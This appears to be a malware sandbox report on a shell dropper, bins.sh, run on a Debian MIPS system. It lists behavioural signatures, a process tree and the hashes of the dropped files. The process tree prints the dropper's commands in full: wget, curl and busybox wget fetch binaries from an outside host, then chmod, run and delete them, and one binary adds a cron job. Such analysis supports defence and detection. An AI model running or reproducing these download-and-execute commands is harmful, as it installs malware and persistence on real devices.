Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    19/11/2024, 14:26

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241119-rrt5fssjbl
  • SHA256 cae0f3aa5baf5db3fa86dff484e23996d5cf8abbf537303d56d7ef7b2003e5ca
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1480) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 31 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:737
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:739
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:741
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:766
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:769
        • /bin/chmod
          chmod 777 WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
          2⤵
          • File and Directory Permissions Modification
          PID:770
        • /tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
          ./WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
          2⤵
          • Executes dropped EXE
          PID:771
        • /bin/rm
          rm WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
          2⤵
            PID:773
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:774
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:775
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:777
          • /bin/chmod
            chmod 777 FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
            2⤵
            • File and Directory Permissions Modification
            PID:781
          • /tmp/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
            ./FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
            2⤵
            • Executes dropped EXE
            PID:782
          • /bin/rm
            rm FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
            2⤵
              PID:787
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:788
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:803
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:817
            • /bin/chmod
              chmod 777 JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
              2⤵
              • File and Directory Permissions Modification
              PID:824
            • /tmp/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
              ./JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
              2⤵
              • Executes dropped EXE
              PID:826
            • /bin/rm
              rm JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
              2⤵
                PID:829
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:830
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:836
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:838
              • /bin/chmod
                chmod 777 BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
                2⤵
                • File and Directory Permissions Modification
                PID:839
              • /tmp/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
                ./BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
                2⤵
                • Executes dropped EXE
                PID:840
              • /bin/rm
                rm BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
                2⤵
                  PID:842
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:843
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:847
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:849
                • /bin/chmod
                  chmod 777 tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
                  2⤵
                  • File and Directory Permissions Modification
                  PID:850
                • /tmp/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
                  ./tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
                  2⤵
                  • Executes dropped EXE
                  PID:852
                • /bin/rm
                  rm tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
                  2⤵
                    PID:855
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:856
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:869
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:878
                  • /bin/chmod
                    chmod 777 idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
                    2⤵
                    • File and Directory Permissions Modification
                    PID:881
                  • /tmp/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
                    ./idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
                    2⤵
                    • Executes dropped EXE
                    PID:883
                  • /bin/rm
                    rm idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
                    2⤵
                      PID:886
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:887
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:893
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:895
                    • /bin/chmod
                      chmod 777 mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
                      2⤵
                      • File and Directory Permissions Modification
                      PID:896
                    • /tmp/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
                      ./mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
                      2⤵
                      • Executes dropped EXE
                      PID:897
                    • /bin/rm
                      rm mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
                      2⤵
                        PID:899
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:900
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:901
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:903
                      • /bin/chmod
                        chmod 777 4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
                        2⤵
                        • File and Directory Permissions Modification
                        PID:904
                      • /tmp/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
                        ./4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
                        2⤵
                        • Executes dropped EXE
                        PID:905
                      • /bin/rm
                        rm 4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
                        2⤵
                          PID:907
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:908
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:909
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:911
                        • /bin/chmod
                          chmod 777 DQul2qKd09ITKkHJpETty8DirCA07F1nBT
                          2⤵
                          • File and Directory Permissions Modification
                          PID:912
                        • /tmp/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
                          ./DQul2qKd09ITKkHJpETty8DirCA07F1nBT
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:913
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:915
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                • Reads runtime system information
                                PID:916
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:917
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:918
                            • /bin/rm
                              rm DQul2qKd09ITKkHJpETty8DirCA07F1nBT
                              2⤵
                                PID:920
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
                                2⤵
                                • System Network Configuration Discovery
                                PID:923
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
                                2⤵
                                • System Network Configuration Discovery
                                PID:924
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:954
                              • /bin/chmod
                                chmod 777 teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1010
                              • /tmp/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
                                ./teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
                                2⤵
                                • Executes dropped EXE
                                PID:1011
                              • /bin/rm
                                rm teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
                                2⤵
                                  PID:1013
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:1014

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8

                                    • Path /tmp/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
                                    • Size 98KB
                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa

                                    • Path /tmp/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
                                    • Size 127KB
                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    DQul2qKd09ITKkHJpETty8DirCA07F1nBT

                                    • Path /tmp/DQul2qKd09ITKkHJpETty8DirCA07F1nBT
                                    • Size 151KB
                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                    • MD5 SHA1 SHA512 SSDEEP

                                    FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx

                                    • Path /tmp/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
                                    • Size 117KB
                                    • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                    • MD5 SHA1 SHA512 SSDEEP

                                    JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx

                                    • Path /tmp/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
                                    • Size 177KB
                                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                    • MD5 SHA1 SHA512 SSDEEP

                                    WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG

                                    • Path /tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
                                    • Size 107KB
                                    • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                    • MD5 SHA1 SHA512 SSDEEP

                                    idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4

                                    • Path /tmp/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
                                    • Size 111KB
                                    • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                    • MD5 SHA1 SHA512 SSDEEP

                                    mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1

                                    • Path /tmp/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
                                    • Size 122KB
                                    • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                    • MD5 SHA1 SHA512 SSDEEP

                                    teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz

                                    • Path /tmp/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
                                    • Size 112KB
                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                    • MD5 SHA1 SHA512 SSDEEP

                                    tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN

                                    • Path /tmp/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
                                    • Size 111KB
                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                    • MD5 SHA1 SHA512 SSDEEP

                                    tmp.sctpbi

                                    • Path /var/spool/cron/crontabs/tmp.sctpbi
                                    • Size 210B
                                    • SHA256 428e03687fb106bd83b2977f141f4cf04b0e06532403cc7093a37acbf702bb68
                                    • MD5 SHA1 SHA512